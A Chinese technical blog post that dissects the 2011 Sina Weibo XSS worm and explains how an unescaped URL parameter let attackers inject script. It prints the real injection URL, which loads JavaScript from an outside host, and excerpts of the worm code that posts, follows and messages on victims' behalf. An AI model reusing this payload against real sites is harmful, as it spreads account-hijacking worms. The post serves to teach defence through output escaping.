代码改变世界

XSS-从weibo蠕虫事件学习

  轩脉刃  阅读(4152)  评论(5编辑  收藏  举报

    XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

     

    Xss的例子(以新浪微博的6.9的hellosamy蠕虫事件为例):

     

    sina的名人堂页面页面上存在这么个链接

    <a href="http://weibo.com/pub/star/g/123">这个是xss</a>

     

    其实在服务器端是这么写的(猜测,真实代码长啥样不知道,但是一定是忘记做转义就输出了):

    Echo '<a href="http://weibo.com/pub/star/g/{$uname}">这个是xss</a>'

     

    其中uname并没有做htmlspecialchars。相当于是直接由用户输入,然后输出在页面上了。

    这样的html就是存在xss漏洞

     

    好了,这个漏洞被发现了,下面要利用它做什么呢?

    1 将uname设置成xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

    这样这个url就变成了

    clip_image001

    其中的引号被封闭了,然后这个页面自动运行了一段js脚本

     

    这个js脚本做了这样的事情:

    1 发送一个微博(这个是之所以成为蠕虫的原因,这个微博中附带着同样的一个连接)

    2 加关注uid为2201270010

    3 发私信,向好友传播链接

     

    js的下载代码在http://www.stwind.org/wp-content/uploads/2011/06/06.28_sina_XSS.txt.zip

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    try{
     
    x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
     
    }
     
    catch(e){}
     
    main();
     
    var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

     

    其中就是在打开的页面加入了<script节点>,并执行

    main中是发送微博,加关注,发私信三个动作

    当5000秒后,当前页重新定位到public/topic上

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    function main(){
     
    try{
     
    publish();
     
    }
     
    catch(e){}
     
    try{
     
    follow();
     
    }
     
    catch(e){}
     
    try{
     
    message();
     
    }
     
    catch(e){}
     
    }
    比如

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    function publish(){
     
    url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
     
    data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
     
    post(url,data,true);
     
    }

    模拟post请求,由于这个js是在weibo网页上调用的,所以就没有跨域问题

     

    直接post就可以产生这个效果

     

    注:这次事件中还用到了短链接服务

    短链接服务能自定义用户链接,比如http://weibo.com/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

    这么长一个链接能变为http://t.cn/atmcqn

    这样能增加用户的点击成功率

     

    事实证明,建站是需要非常小心的,每个页面,每个输出,如果有一两个漏洞,都可能造成全站的大灾难!!引以为戒!

     

    相关有用的链接地址:

    http://soft.yesky.com/security/156/30179156.shtml

    http://www.youxia.org/2011/12/XSS-RootKit.html

    http://www.youxia.org/2010/04/Anti-XSS.html

    http://blog.sina.com.tw/gn00502101/article.php?pbgid=103224&entryid=604456

     

    ----------------------

    作者:yjf512(轩脉刃)

    出处:http://www.cnblogs.com/yjf512/

    本文版权归yjf512和cnBlog共有,欢迎转载,但未经作者同意必须保留此段声明

编辑推荐:
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
阅读排行:
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 提示词工程——AI应用必不可少的技术
· Open-Sora 2.0 重磅开源!
· 周边上新:园子的第一款马克杯温暖上架
点击右上角即可分享
微信分享提示